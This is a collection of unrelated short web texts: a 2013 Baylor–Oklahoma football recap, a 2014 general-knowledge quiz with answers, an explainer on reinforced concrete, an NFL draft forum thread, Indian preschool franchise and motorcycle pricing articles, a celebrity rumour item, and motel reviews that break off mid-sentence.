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There were no "buts" about this one. The Bears dominated on defense and completely shut down the Sooners while the Baylor offense struggled with injuries and tempo. But this was a dominating effort for Baylor, beating the Oklahoma Sooners 41-12. The Bears defense simply shut down the Oklahoma offense, which struggled at the line of scrimmage all night and could not get their passing game going against the Bears loading the box. It was a perfect game plan and execution to stop a good rushing attack.
The Baylor offense got off to a rather rickety start, but got going behind third string running back Shock Linwood, who ran for a career high 182 yards after Glasco Martin and Lache Seastrunk were both injured in the first half. With both co-starters gone, it was up to the redshirt freshman to carry the load against a defense designed to take away the long pass play and make the Bears run it. Well, Oklahoma got its wish as the Bears racked up 255 yards on the ground and averaged 4.7 yards per carry.
Fun Stats of the Game
- The attendance of 50,537 was the 4th-largest in Floyd Casey Stadium history and the largest vs. an out-of-state opponent.
- Baylor is now 5-0 at home against AP top-25 teams since 2011, and the Bears are now 8-17 against ranked opponents during the Briles era.
-The Sooners had 17 rush attempts that resulted in 1 yard gained or fewer. That is 50% of their total rushes.
-Oklahoma was just 4 of 17 on third down conversions, and their average yardage needed to get a first down was 6.67 yards.
-Baylor's defense forced a three and out on 6 of 14 Oklahoma drives
Words of the Game
Offense – Pyrrhic Victory
Everyone should know the story of the Pyrrhic victory. It is a win that comes at a huge cost. Well the Bears huge cost is the loss of Tevin Reese for the season and the possibility of losing Glasco Martin and Lache Seastrunk for some time as well. Martin's injury looks to be more serious, but it is still too early to tell with either running back. Add that to star lineman Cyril Richardson going out for a while, and the Bears had four of the top offensive players out of the game for a while. Luckily, Richardson did come back into the game to lead the way for the Bears rushing attack. The loss of Tevin Reese is a big one, as he is one of the best deep threats in college football. His ability to simply outrun coverage designed to take away the deep ball is second to none right now.
Defense – Suffocating
You saw it, and even you were surprised. How could you not be? This was a defense that quite honestly a year ago was abysmal. This was a defense that had struggled with running quarterbacks this year, as Kansas State gashed the Bears defense for over 300 rushing yards. This was supposed to be the weak link of the Baylor squad. Against Oklahoma, the Bears defense was the best thing on the field. At times, it looked like Baylor had snuck a 12th defender out there to stop the run. Bears defensive backs broke up 7 passes on the night, but you could have said it was 15 and many would have believed it. Baylor didn't simply take away what the Sooners wanted to do, they took away everything. Giving Blake Bell little time in the pocket, the defensive backs stuck to the Sooner receivers for the majority of the night and got their hands on the passes that actually did get to their intended target accurately. It was a tremendous game plan with even better execution.
Tweets of the Game
Final score Baylor 41 Oklahoma 12. The Bears are officially in the discussion of teams atop the BCS. Congrats @BUFootball— Kirk Herbstreit (@KirkHerbstreit) November 8, 2013
SIC'EM STATEMENT! Bryce Petty goes 13-26, 204 Yds, 3 TD, 2 Rush TD as Baylor blows out Oklahoma, 41-12.— SportsCenter (@SportsCenter) November 8, 2013
Baylor fans are booing the refs at an Elite level this evening.— Eric Bossi (@ebosshoops) November 8, 2013
Friendly reminder that the guy tearing up Oklahoma's defense on this drive is Baylor's No. 3 running back.— David Ubben (@davidubben) November 8, 2013
Baylor now up 31-5. Saw some similar scores after 10 minutes from Griner & Co. from the women's hoops team in Waco.— David Ubben (@davidubben) November 8, 2013
Whoa. That Baylor score escalated quickly— J.A. Adande (@jadande) November 8, 2013
#Baylor'ed (definition) - beating a team so soundly that everyone declares said opponent worthless and a nobody.— bearsillustrated.com (@baylorfoxsports) November 8, 2013
Play of the Game
Oklahoma, First and 10 at the OU 28 yard line, 54 seconds left in 2nd quarter
The Sooners, having just given up their second touchdown of the game to go down 17-5 had the ball at the 28 yard line. With no timeouts and 72 yards to go, the Sooners lined up with 4 wide receivers, two out to each side and a running back to Blake Bell's left. The protection was pretty good as they setup a screen play to the left, but Bell went down field to Jaz Reynolds, who ran a simple crossing route. The pass was thrown behind Reynolds as Eddie Lackey was in prefect position to get the interception and give the Bears the ball back in tremendous position with 48 seconds to go. Baylor would go onto to score another touchdown and go ahead 24-5 at halftime.
Players of the Game
Offense – Shock Linwood (23 rushes and 182 yards rushing)
The next man up principle worked perfectly here, as both of Baylor's bell-cow running backs left the game before halftime. The redshirt freshman has been really good in garbage time when given a chance, but this was something else. Linwood displayed tremendous balance and cut back vision to gash the Sooners run defense, which had played very well for the first 20 minutes of the game. His first big run came on the Bears first touchdown drive of the game, a 20 yard scamper to the OU 49. That was a huge play, as it allowed the Bears to breathe and get into their up-tempo. Later, he added runs of 39, 17, 28 and 11 as the Sooner defense just got tired of chasing the young fella around.
Honorable Mention – Bryce Petty, Antwan Goodley
Defense – Eddie Lackey (8 tackles, 1 tackle for loss, 1 interception, 1 QB Hurry)
You could have pretty much selected the entire defense on this one, as they all played great. This was a team effort to the fullest. The defensive line did a great job of holding their spots, occupying blockers and containing the edge. The secondary did a good job of covering the OU receivers and batting down any passes that actually hit their mark. But both of the Baylor linebackers were the big players in this one. Bryce Hager had 7 tackles and 2 quarterback hurries that Blake Bell is still probably feeling in his chest right now, but Eddie Lackey gets the nod here. He did a tremendous job of reading the lineman and his keys and met the runner in the backfield or at the line seemingly all night. The Sooners just could not rush the ball at all, averaging 2.6 yards per carry.
Honorable Mention – Blake Bell, The rest of the defense
Behind a ferocious defensive effort that kept the Bears in the game until the offense woke up, Baylor proved to be the dominant team in this one. Who thought going into the year that the Baylor defense would arguably be its best unit in any Big 12 game? Well that happened tonight. The Bears destroyed the Sooners at the line of scrimmage, and outside of 1 drive aided by 53 yards in penalties, and 1 good drive in the second half, the Baylor defense simply stopped the Sooners every which way. The good news is that the Baylor offense did wake up late in the second quarter with some help from the defense (thank you Blake Bell!) and got things rolling in the second half behind third string running back Shock Linwood. It was a statement win for a program still with a lot of doubters.


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Test and build your general knowledge on current affairs questions with answers based on March 10, 2014 major events.
- Who among the following has topped the list of 20 most searched successful Indian women on Google?
- Kiran Bedi
- Soniya Gandhi
- Vidya Balan
- Aishwarya Rai
- Who has been won the Jackson County Spelling Bee after more than 90 rounds?
- Sophia Hoffman
- Kush Sharma
- Nick Jonas
- Miley Cyrus
- Which Indian state won the Santosh Trophy title 2014?
- Delhi
- Uttar Pradesh
- Mizoram
- West Bengal
- Name the Afghanistan's vice president who passed away at the age of 56 on Sunday?
- Mohammad Qasim Fahim
- Yunus Qanuni
- Burhanuddin Rabbani
- Abdul Rashid Dostum
- Who has been won the $150,000 Yale University prize?
- Niall Ferguson
- Kamila Shamsie
- Arundhati Roy
- Pankaj Mishra
- Which country scientists developed a new machine that turns water into wine in three days?
- Australia
- New Zealand
- United States
- Hong Kong
- Name the Uttar Pradesh agriculture minister who removed from his post by UP chief minister Akhilesh Yadav?
- Manoj Paras
- Anand Singh
- Kallu Yadav
- Mahendra Chaudhry
- Who has been won the most promising Motor Sport Man of the Year award 2013 by the Federation of Motor Sports Clubs of India?
- Jehan Daruvala
- Raj Bharath
- Karun Chandok
- Vishnu Prasad
- Which among the following congress leader joins Bhartiya Janata Party on Sunday?
- Sanjay Singh
- Nandan Nilekani
- Bhagirath Prasad
- Ravi Krishan
- Which among the following shooter won the gold medal at 7th Asian Championship?
- Pooja Ghatkar
- Tejaswini Sawant
- Shagun Chowdhary
- Rahi Sarnobat
Aishwarya Rai: Bollywood actress Aishwarya Rai has topped the list of 20 most searched successful Indian women on Google followed by Vidya Balan and UPA chairperson Sonia Gandhi.
Kush Sharma: Kush Sharma, a seventh-grader at Frontier School of Innovation County, won the Spelling Bee at the Central Library in Kansas City in Missouri Saturday and secured a berth in the Scripps National Spelling Bee in Washington scheduled for May.
Mizoram: Mizoram on Sunday blanked Railways 3-0 in a one-sided final of the 68th National Football Championship for the Santosh Trophy here.
Mohammad Qasim Fahim: The vice president of Afghanistan, Marshal Mohammad Qasim Fahim, has passed away at the age of 56. The government has announced that Fahim died of natural causes.
Pankaj Mishra: Award-winning Indian author Pankaj Mishra is among eight writers from seven countries who have won a $1, 50, 000 Yale University prize each in recognition of their literary achievements.
United States: A new machine that can turn water into wine in just three days by simply adding a few other ingredients has been developed. The machine, which costs USD 499, was developed by wine expert Kevin Boyer in New York.
Anand Singh: Uttar Pradesh chief minister Akhilesh Yadav removed his agriculture minister Anand Singh and MoS for stamp and registration Manoj Paras on Sunday.
Vishnu Prasad : Vishnu Prasad was voted the most promising Motor Sport Man of the Year by the Federation of Motor Sports Clubs of India (FMSCI) which honoured its 2013 national champions on Saturday.
Bhagirath Prasad: Retired IAS officer Bhagirath Prasad, whom the party had declared its candidate from Bhind seat in Madhya Pradesh, joined the BJP.
Pooja Ghatkar: Indian shooter Pooja Ghatkar on Sunday clinched the gold medal in women's air rifle event on the opening day of the 7th Asian Championship in Kuwait.

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I actively seek inspirations for my next sketch piece. My delight when I see the reaction of the recipient of my work is always worth making a new one.
Weekends are usually spent with teammates doing some paddling sports. Keeps me mentally sharp and I like the exercise.
And that I am "too tan".
Movies-American beauty, Talented Mr Ripley, The Matrix Trilogy, Cloud Atlas, Trance, Star Trek, Avengers, V for Vendetta;
TV shows-That 70's show, True Blood (only the 1st season), Dexter, The Walking Dead, Newsroom, Veep, Curb your enthusiasm, Game of Thrones, Looking, House of Cards, Hannibal, Archer, RuPaul's DragRace, Penny Dreadful, Frankie and Grace, Black Mirror, Spotless, Bates Motel, Narcos;
Music-loving Spotify's selections. Lorde. Acoustics. Really depends on the mood.
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Passport-"let's get out of here" moments;
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Not yet. And probably not for several more months if at all. That seems to be the view on when the Sprint Cup Series' new win-oriented points format will kick teams and drivers into desperation mode.
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Unimpressed. That's a pretty good way to describe Juan Pablo Montoya as he has made his way through the American auto racing scene. Not really aloof or bored, but unimpressed.
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New Behind The Scenes Photographs From Bond On Set: Filming Skyfall Book08/07/2012
If you didn't think Daniel Craig was cool and dashing before, get a look at the man who plays James Bond in the Skyfall pictures below.
James Bond Brasil and Mi6-HQ have debuted this collection of images from photographer Greg Williams' 'Bond On Set: Filming Skyfall' book.
They're great images. I love the black and white shots and the stylized photo sets of the new bond girls. The book is said to "capture the glamour and excitement of film-making on location with a spectacular portfolio of photographs by authorised Bond stills photographer Greg Williams, as he creates a unique visual record of the making of the movie. The first published book to reveal the stars, locations and set pieces, 'Bond On Set: Filming Skyfall' is a stylish souvenir of a soon-to-be classic movie."
I doubt I'll be buying the book because all the images will make it online over time, but there still fun to look at and for the die hard James Bond fan it may be a nice coffee table book.
Skyfall is right around the corner, the film will begin its worldwide roll-out in the UK and Ireland on October 26th, with a North American release following on November 9th.
In SKYFALL, Bond's loyalty to M is tested as her past comes back to haunt her. As MI6 comes under attack, 007 must track down and destroy the threat, no matter how personal the cost. SKYFALL marks the return of Daniel Craig as Ian Fleming's James Bond 007, as well as Judi Dench reprising her role as M. The film also stars franchise newcomers Ralph Fiennes, Javier Bardem and Naomie Harris. The film is directed by Sam Mendes from a screenplay written by Neal Purvis & Robert Wade and John Logan. Michael G. Wilson and Barbara Broccoli are producers.
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New Northern Ireland Assembly has got to utilise outside expertise
The Assembly election is over. Now, can the promises be delivered?
The task is to build a coherent functioning regional government. The election, without being dismissive, has left a large unfinished policy agenda on bread and butter topics.
High on the Stormont agenda must also be:
1: an appreciation of the unresolved tensions in the Stormont budget
2: the strengthening of policies to grow the economy
3: the transitional needs as the welfare reform agenda is implemented
4: resolving the hiatus in energy policies and pricing
5: identifying the priorities for infrastructure investment and
6: making effective changes to build a better equipped (or skilled) labour force.
Senior party politicians may be inclined, at this stage, to rely on civil servants or advisers to detail the agenda. Past experience suggests that would be a mistake. Officials usually emphasise 'more of the same' from the recent past. What is needed is a more radical rethink. Are the senior politicians ready to reach further than the official advice and find expertise outside the abilities of existing special advisers?
There is expertise outside the central core of our political networks that could be tapped. Business and academic specialists too infrequently are invited to work on policy options. Now would be the opportunity to turn the tables and challenge the business and academic communities to be constructive in a well-informed agenda to improve how Stormont functions. The house on the hill, Stormont, should learn to function as a less exclusive environment.
To illustrate just one aspect of the potential to change the policy-making debate, the searchlight might be turned on to serious questions about what we expect of our universities and how they should be treated. Arguably, in Northern Ireland, the three universities have been praised, then left to manage their academic contributions according to their own agendas, offered unduly restrictive funding, and expected to balance their accounts, if necessary, by curtailing some of their interests.
The stand-back approach does little to integrate the universities, as corporate entities or as a source of expertise, into the wider local society. That does not diminish the value of their contribution in leading national or international scholarship nor other features such as building a qualification as a member of the Russell group of universities. What this does ask is whether the local universities do enough to fulfil their potential roles as civic leaders.
Admittedly, these questions pose potential tensions. Leadership in scholarship and learning is an admirable objective. It converts easily into programmes of leading edge research which should also serve to stimulate positive endeavours in stimulating an up and coming generation of vocational and organisational leaders. All of that can take place at arms length from the local communities and the political institutions that relate to local people.
These questions can evolve in different directions: two examples.
To the business and community leaders: how well do you know the leading academics in the local universities with special knowledge in topics relevant to your organisation? If you have little or no knowledge, are you at fault? Alternatively, do the academic specialists make adequate efforts to cross the divide between academic cloisters and workshop floor?
To the senior politicians: how do you better support our civic universities? Official funding is less supportive than in Scotland or England. Different fee charging systems are discriminatory. What solution to the present distortion of different fees and inadequate public sector funds can be urgently implemented?
Northern Ireland needs a more appropriately qualified advanced labour force. How can policy makers be sure that we get a well-judged programme of enhanced skills from our universities? Not by relying on the status quo.
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Rising rentals & mounting demand of parents for afterschool activities and daycare centres have made preschool franchisees operate multiple businesses from the same location. Let's find out that how same location can be benefitted with different busines
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Certainly, franchise model is a stepping stone to strengthen business network while establishing the brand's niche in the market place. And pre-primary education along with daycare units is projected to fetch rich turnover in the time to come via the franchise route. All of the leading brands have been successful via their diligent franchisees pan-India as most of them allow their franchisees to run different businesses of learning and playway units via same location for maximum revenue generation.
Targeting two birds with one stone
Raman Bajaj, MD, Little Millenium- Educomp Childcare Pvt Ltd. asserts: "At Little Millennium, we encourage as well as assist our women business partners to operate multiple businesses example preschool, day care and activity centre together, thereby increasing the returns on their investment. During summer holidays our business partners run summer camps and workshops too for children to further revenues while providing high value to customers via additional packages."
On the same lines, Lina Ashar, Founder, Kangaroo Kids Education Limited (KKEL), opines: "KKEL's business model ensures that the centre is optimally utilised for the franchisee to derive maximum benefit. This translates into a 12-14 hour operative model, which encompasses school, daycare as well as afterschool activities, all derived and rolled out with the same adherence to innovation and quality that's the hallmark of KKEL."
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With rapidly growing industry in India, leading primary education chains are offering best of business opportunities to entrepreneurs to explore from the vicinity of their home, running it as a pre-school in the morning, daycare centres or crèche during day time and extra activity unit in the evening. As per the survey conducted by TFW bureau, majority of the pre-school and daycare brands have 80% of women as their franchisees and are doing exceptionally well in their fields. Industry experts also vouch for the fact that preschool franchising is considered as the safest route for womenpreneurs.
Bajaj says: "One of the benefits of running a preschool and early childcare centre for any woman is that it requires a significantly lower seed capital than that of a formal K 12 school. Preschools also have a higher operating leverage as it provides multiple revenue streams from the same fixed cost base. Thus running a preschool gives women entrepreneurs, an opportunity to pursue their passion and also earn high returns on their investment."
To this Ashar adds: "KKEL offers entrepreneurship opportunities to young women in the country in the form of pre-school franchise. We offer special discounts to our existing women franchisees who want to open multiple centres within a region. Our pre-school business enables women entrepreneurs to maximise the revenue and minimize the risk via multiple KKEL products as this allows for a smooth transition from a house wife to business women through exposure across domains in a relatively stress-free manner as compared to a K12 or supplementary sector." Kangaroo Kids Education Limited (KKEL) also boasts of having a large number of its preschools owned and operated by women entrepreneurs.
Key trends in the Indian education arena
• Pre-schools, daycare and activity centres are touted to be best managed by women as they have ability to nurture children along with the business.
• Pre-schools, daycare and activity centres are witnessing huge growth thereby entering the organised pedestal in the Indian education sector.
• Well, to upbeat with the latest trend of running a successful edu-biz by womenpreneurs, the fairer sex are leaving no stones unturned to prove that women can do wonders in running the pre-schools skillfully as well as profitably.
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Full Form of RCC :
Reinforced Concrete
RCC Full Form is Reinforced Concrete. RCC contains embedded plates, fibers, or embedded steel bars to strengthen the material. Since RCC can carry heavy loads, it is vastly used in construction. It is also one of the most commonly used materials for construction. The concrete is made of reinforced materials in a way that the combination of the materials resists any kind of external force. The combined strength of the steel bar and concrete form a very strong bond which enables it to resist stress for a long time. Most often, plain concrete alone is not sufficient to withstand vibrations and stresses or forces. Since the cement paste inside the concrete hardens and blends with the surface of the steel, stresses are transmitted efficiently between the two. This, in turn, enhances the toughness of the RCC.
RCC Full Form – Additional Information
Reinforced Cement Concrete, also known as Reinforced Concrete, is essentially a combination of steel and concrete, which helps in countering the weak ductility and tensile strength of concrete. Through this combination, a higher ductility and tensile strength are reached. This reinforcement is generally attained with the help of steel reinforcing bars, which are passively embedded in the concrete prior to the settlement of concrete. These reinforcing schemes are usually designed to tackle tensile stresses in specific areas of the concrete, which may result in structural failure or unacceptable cracking.
Reinforced concrete can be permanently stressed for the purposes of improving the final structure's behavior under working loads. In the United States of America, the most commonly used methods for production of reinforced Concrete are post-tensioning and pre-tensioning. Reinforced Cement Concrete, which will hereinafter be referred to as RCC, must possess high relative strength, strong bond, and high resistance to tensile strain, thermal compatibility, and high durability. Thus, RCC is highly helpful for the construction purposes and is, therefore, popularly used. There are various aspects of RCC that must be dealt with for proper appreciation. So, here are five points about RCC that everyone must know about:
History of RCC
Francois Coignet was the pioneer in the field of structural and reinforced concrete development. He is known for being the first person to use iron-reinforced concrete for the construction of building structures. In the year 1853, he developed the first ever structure constructed with iron reinforced concrete: a four-storey house situated in Paris. He, however, seemed to have no knowledge of tensile stresses. His successor in this field, William B. Wilkinson further improved techniques relating to reinforced concrete and demonstrated that he had knowledge on tensile stresses.
Joseph Monier, who was surprisingly a French gardener, invented reinforced flowerpots by blending a mortal shell and a wire mesh and was granted a patent for the same. In the year 1877, he obtained another patent for a much-advanced technique that pertained to the reinforcement of concrete columns with the help of iron rods established in a grid-like pattern. There is doubt, however, as to whether he knew about tensile stresses.
A major contribution to the development and improvement of reinforced concrete technique was made by Thaddeus Hyatt, who conducted various experiments on RCC. Use of steel came to limelight because of G.A. Wayss, who was a German engineer engaged in steel and iron concrete construction. In the year 1879, he purchased the German rights to the patents belonging to Monier and subsequently in the year 1884 began commercial use of RCC in his Wayss & Freytag firm. The firm is credited to have made many technological and financial inputs in the development of RCC.
Ernst L. Ransome was an English engineer who gave different styles to the RCC technique. He introduced the technique of twisting the steel bar with the concrete. His knowledge was immense and greatly acknowledged and subsequently, he went on to construct two of the first ever reinforced concrete bridges in the American continent. In the United States, the RCC was first used in the construction of a private house, which was William Ward's design, in the year 1871. In the year 1904, the skyscraper Ingalls Building was constructed with the help of RCC.
Use in Construction
RCC has many utilities in the construction field. Different kinds of structures and components thereof can be constructed with RCC such as walls, slabs, foundations, columns, frames, and etc. RCC can be categorized into either precast or cast-in-place concrete. Former is manufactured in a reusable form later cured in a tamed environment, which is then transported to the site of construction. The Latter is simply a typical form of concrete.
An efficient floor system is integral in constructing optimal building structures. Minute changes in a floor system's design can bring out palpable impacts on the construction schedule, material cost, operating costs, end use of a building, ultimate strength, and occupancy levels. RCC is extremely important in the construction of modern-day building structures. This is particularly due to several advantages attributed to RCC such as high resistance to strength, durability, stronger bonds, and others which have already been mentioned before.
Key characteristics of RCC
There are three physical characteristics of RCC that are responsible for its specialty and have been mentioned below:
- The RCC's coefficient of thermal expansion, which eliminates internal stresses because of differences in thermal contraction or expansion.
- When the cement paste used in the concrete becomes hard, this settles on the surface details of the steel and permits any internal stress to be efficiently transmitted among different materials. Generally, the steel bars used are made rough for the purposes of improving the cohesion between the steel and the concrete.
- The alkaline environment that the alkali reserve (comprising NaOH and KOH) provides and the portlandite (which is essentially calcium hydroxide) contained in the cement paste results in the formation of a passivating film on the surface of the steel. This makes it more tolerant to corrosion in an alkaline
As a rule, the steel used is protected at a pH value above ~11 but begins to corrode below ~10, though much of it depends on the properties of the steel and physicochemical conditions when carbonation of concrete occurs. Two of the primary reasons for the failure of RCCs are the carbonation of concrete as well chloride ingress.
The cross-sectional area of the steel is generally small and varies from 1 percent for many slabs and beams to about 6 percent for a few columns. The reinforcing bars are generally round in the cross-sectional area and vary in their diameters. These bars may often come with hollow cores for regulating and controlling humidity and moisture. It is also to be noted that the distribution of the strength of concrete is not homogenous and depends on many factors. All of it shows quite clearly that RCC is invested with many great characteristics, though a few issues are there.
Common failures in RCC
On the whole, RCC is advantageous however, there are several modes which cause its failure.
- Mechanical failure: It is often impossible to prevent cracking of the concrete. Nevertheless, the damage done by the cracks can be controlled by introduction of apt reinforced control joints, concrete mix design, and curing methodology. Cracking is an issue because it facilitates moisture to penetrate in the concrete, which results in corrosion of the reinforcement. This is called a serviceability failure. Cracking occurs because an improper amount of rebar is used or the rebar is placed at a great distance. Due to this, concrete will crack under pressure from excess loading or thermal shrinkages, etc. Ultimate failure happens when compressive stresses exceed the strength of concrete.
- Carbonation: Also known as neutralization, it is a chemical reaction between calcium hydroxide, calcium silicate in the concrete and carbon dioxide present in the air. Carbonation results in durability issues when there are sufficient oxygen and moisture to result in electro-potential corrosion of the rebar.
One of the ways to determine carbonation is drilling a fresh hole on the surface and then treating the drilled surface with a solution of phenolphthalein indicator. The color of the solution will change to pink when it comes in contact with alkaline concrete. This helps in examining the depth of carbonation.
- Chlorides, which includes Sodium Chloride, has the ability to promote corrosion of steel rebar if it is present in high concentration. Chloride anions have the tendency to cause localized corrosion—also known as pitting corrosion—as well as generalized corrosion. It is, for this reason, it is advised that fresh water is used while mixing the concrete for ensuring that the fine and coarse aggregates do not have any remains of chlorides.
- Alkali-Silica reaction: This is a reaction between amorphous silica and hydroxyl ions. The former is present in the aggregates whereas the latter is present in cement pore solution. The dissolution of poorly crystallized silica occurs, which disassociates at the pH value between 12.5-13.5 in alkaline solution. This dissolved silica acid then causes a reaction with portlandite found in the cement paste forming calcium silicate hydrate. This reaction can cause cracking or tensile stress. This entire phenomenon is often referred to as concrete cancer.
- There are other modes which can cause failure in RCCs such as sulphates, conversion of high alumina cement, etc.
The reinforcement process has to undergo the strain that the concrete goes through for prevent of discontinuity, separation of these two materials under pressure, etc. For the maintenance of composite action, there is a transfer between the steel and the concrete required in which the direct stress is transferred to the bar from the concrete for the purposes of changing the tensile stress. This transfer is attained with the help of anchorage and is subjected to a continuous stress field, which develops around the interface between the concrete and steel.
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Discussion in 'Draft Zone' started by dantheman41, Jan 14, 2014.
Take a look at Calvin Barnett. I have a feeling your going to like this kid.
Where do you find the tape on all these guys? Is it all online somewhere or are you a college coach with access to the national database?
You can also find cut-ups and whole games on youtube.
Love that website.
In my estimation I like Dix better than Pryor because of coverage skills must of watched different games. Keep up the great reviews.
Will do! Whenever I get a chance. Super busy this week
I disagree. Not a huge Dix fan. Think he's athletic, but saw him get beat a lot. Especially in the two biggest games of the year auburn and bowl game
Double digit sacks two years in a row.. 4 sacks against georgia, half a sack against ole miss. half a sack isnt much, but it means something when you get to the qb in big games.
3 straight years of over ten TFL.
guys got some skills
Don't agree??
I agree. He's too inconsistent. I don't see an instinctive player there-- just a good athlete behind an excellent supporting cast. Would rather have prior or brooks later on.
Starting to dig Pryor in the 1st if he's there, if he's a better football player than any of the DT, you take him......
I agree. Only DT I take before him would be Donald
we will be lucky if he is there at 16,he is exactly what we should be looking for in a safety and i am sure he will move to the top 15 by the time of the combine.
Calvin Barnett (Oklahoma State) Scouting Report
Positives: Nice job of timing the snap count and penetrating quickly. Very powerful man made a lot of 1 handed tackles. Moves very well for his size. Has a really nice spin and swim move rushing the passer. Has position flex, has played both the 1 and the 3.
Negatives: Difficult time getting off blocks once initially blocked. Don't see a great motor. Whiffs and overpursues on a lot of running plays. Does not make enough play against the run. Does not know how to use his hands to get off blocks.
How he could fit on this team: I would probably play as a 1 in this scheme.
Overall feeling: This guy could present some value in the middle to late rounds. Definitely has that quick twitch we are looking for. I don't love the player, but I think he can improve with the right coaching.
That is what I've been preaching for months! His stock is going to blow up after combine
I'd like to see your feedback onVilami Moala if you feel like it and have the free time. Very underrated DT's that we could get after the 5th.
Great job, you nailed it. That is exactly what I was thinking. He could potentially be a Jay Ratliff type. Nice physical skill set, good production in a big program. Get him in the 5th, rotate him for a year or two and possibly get a pretty good starter.
Viliami Moala (Cal) Scouting Report
Positives: Really strong, powerful man. Violent with his hands. Plays with an excellent motor, never gives up on plays. Smart football player, excellent play recognition. Does a nice job of getting in QB's vision and disrupting throws.
Negatives: Not a quick twitch guy. Difficulty getting off blocks when pass rushing. No pass rushing moves. Whiffs on a lot of tackles on the running back. No explosion to his game. Rarely by the ball.
How he could fit on this team: 1 tech
Overall feeling: Not a huge fan. Don't feel he is a great fit for this scheme, does not play with explosiveness. Does not make enough plays for my liking. A rotational player in the NFL. Like Barnett much better as a mid to late round 1 tech.
Deone Bucannon (Wash St) Scouting Report
Positives: Plays in a variety of looks, cover 2, cover 3, and a lot of single high. Gives very little cushion in coverage. Excellent when used in coverage. Has a knack for coverage and knowing where he needs to be in helping out the corners. Tracks the ball in the air really nice, and plays ball really good. Really good at creating turnovers.
Negatives: Doesn't take the best angles on ball carriers. Difficulty shedding blocks in the run game. Does not possess elite athleticism. Not as physical as his size suggests, plays a little passive. Difficulty bringing ball carriers down, not a great open field tackler.
How he could fit on this team: Has the size of a SS, but his abilities are more fit for a FS. I think he could be used at either.
Overall feeling: Good player. I like him, not quite as much as Pryor, Ward or Brooks. But not too far behind. Does some things really nice, but his physicality and tackling scares me a little. I could see him paired up nicely with Barry Church. Hes a much better player against the pass then the run.


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Uttar Pradesh Rajya Vidyut Utpadan Nigam Limited has decided to release employment notification for Technician Grade II around 592 empty vacancies shortly. Uttar Pradesh Government has delivered a press declaration for recruiting empty positions of Technician Grade II.
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Mariah Carey and James Packer split?
Mariah Carey and James Packer have reportedly ended their relationship.
According to a report in Australia's Women's Day magazine, the businessman has allegedly called time on his engagement to the 46-year-old singer because she became obsessed with her reality television show 'Mariah's World', and was "willing to expose their lives to the world" in a way he wasn't comfortable with.
A source claimed: "It's all over. James had huge reservations about Mariah's new reality TV show and the fact that she was willing to expose their lives to the world."
Another source alleged that James was tired of the 'Without You' hitmaker's "extravagant spending".
The insider added: "James is very generous, but Mariah takes it to the next level."
And the 49-year-old billionaire - who has been in a relationship with the 'Touch My Body' singer since June 2015 - has reportedly even let Mariah keep the lavish $10 million engagement ring he gave to her when he proposed in January.
It was also claimed that problems surfaced when the chart-topping singer didn't attend a birthday party for James' sister.
The source said: "When she refused to come to Australia for [Packer's sister's] birthday party it created a lot of tension in the family. James' tight circle of friends never really thought they would marry."
The news comes just days after the 'We Belong Together' musician cancelled shows in Chile, Argentina, and Brazil as part of her upcoming tour in South America, citing "promoter negligence" as the reason for the cancellation.
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British based two-wheeler manufacturer, Triumph Motorcycles has had a decent outing in India during 2014. They have now decided to hike their motorcycle prices for 2015 to offset their input costs.
Triumph Motorcycles India will increase prices considerably. The minimum price hike that customers will witness is INR 20,000 and the maximum is INR 1,00,000.
The British manufacturer offers thirteen motorcycles in India. Triumph has brought their motorcycles in the form of both Completely Knocked Down(CKD) units and Completely Built Unit(CBU) route.
Here is the revised pricing of Triumph Motorcycles India for 2015:
- Triumph Bonneville - INR 5,99,000
- Triumph Bonneville T100 - INR 6,97,610
- Triumph Thruxton - INR 7,18,290
- Triumph Street Triple - INR 7,91,080
- Triumph Speed Triple - INR 11,05,990
- Triumph Daytona 675 - INR 10,69,000
- Triumph Daytona 675R - INR 12,14,550
- Triumph XCx - INR 10,50,000
- Triumph XRx - INR 12,70,000
- Triumph Tiger Explorer - INR 18,75,000
- Triumph Thunderbird Storm - INR 13,95,000
- Triumph Thunderbird LT - INR 16,19,670
- Triumph Rocket III - INR 21,29,560
- *all prices are ex-showroom, Delhi.
Triumph recently launched its twin Tiger models in India. The XCx and XRx does not witness a price hike as the manufacturer factored it in during its launch.
Currently the British based two-wheeler manufacturer has 11 dealerships across India. They have an optimistic goal of growing their dealer network to 25 by 2018-end.
Triumph India plans on selling 2,500 motorcycles in India during 2015. Previously they sold 1,300 two-wheelers in India, which is impressive in 2014.


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Excelente localização, lojas nas proximidades. Comfort Inn está actualmente em construção.
Localização, quarto e piscina A recepção foi prestativa, o serviço de arrumação era muito bom, a equipe do café-da-manhã era boa e a comida era ótima (ovos, cereais, waffles, frutas, sucos e café). Funcionários simpáticos
O quarto era muito confortável, a equipe era muito prestativa O barulho de máquinas do lado de fora da nossa janela nos acordou
Tráfego barulhento e dava para ouvir o vaso sanitário do vizinho dando descarga à noite. Precisa de novos vasos sanitários!!!
Nothing. The other people in the motel we're rude and inconsiderate. The room smelled funny. People appeared to be dealing drugs out of one of the rooms.They did not offer a sign to stay out of the room.
15 dollar cab ride to nightlife The staff was not very friendly
The bed was very comfortable and the room was clean. The Hotelier gave us a gift before we left and was very courteous. The hotel is a humble older facility but very worth the stay and was close to the places in Long Beach we needed to go to.
Room was there when I arrived as promised and bathroom had been updated. It was clean. Very very basic accommodations with worn furnishings that had seen some hard use in the past. Serves as a clean roof over one's head but that is it. Charges for the entire stay were run through my credit card upon arrival, so changing hotels would have necessitated getting a credit card refund: never an easy or simple process.
breakfast on weekend
We were close to Downton Long Beach travel and finding places close by. Lost of noise at night we saw a lot of hookers in the other side of the street.
Not much to like. There was a shower and a bed. Better than sleeping outdoors. Free wifi. Rude family run staff. Very unfriendly and almost seem to actively despise paying guests. The desk worker could barely utter more than a grunt as he was watching his Indian tv programming and eating. He slammed a paper and tossed a pen at me and offered no instructions or a polite "fill this out please". Just really rude the whole interaction. I was traveling with a buddy for the Grand Prix of Long Beach and for no known reason my reservation was changed from 2 full beds to one queen bed. It was kind of awkward for 2 heterosexual males, but the office manager just shrugged and told me to take it or leave it. Everywhere else was sold out. The room was very sparse. You know it's fairly ghetto accommodations when they hand you the tv remote with your "1" room key for two people. THEY SPARE EVERY EXPENSE. Including furniture. There was no tv stand- just a cheap lcd TV hanging from the wall with cords dangling below. No night stand, and 1 single outlet for the entire room to charge the phones unless I unplugged the tv. The noise travels through the walls like paper. The neighbor flushes the toilet and it sounds like it's in your room with the bathroom door wide open. The expected sirens and thumping car systems all night long that you might expect in the rougher part of Long Beach. I've seen broke college students who live in downright luxurious dorm accommodations compared to this place. But whatever- it was a relatively inexpensive room ($95/ night after tax). The "free weekend continental breakfast" was your choice of an apple 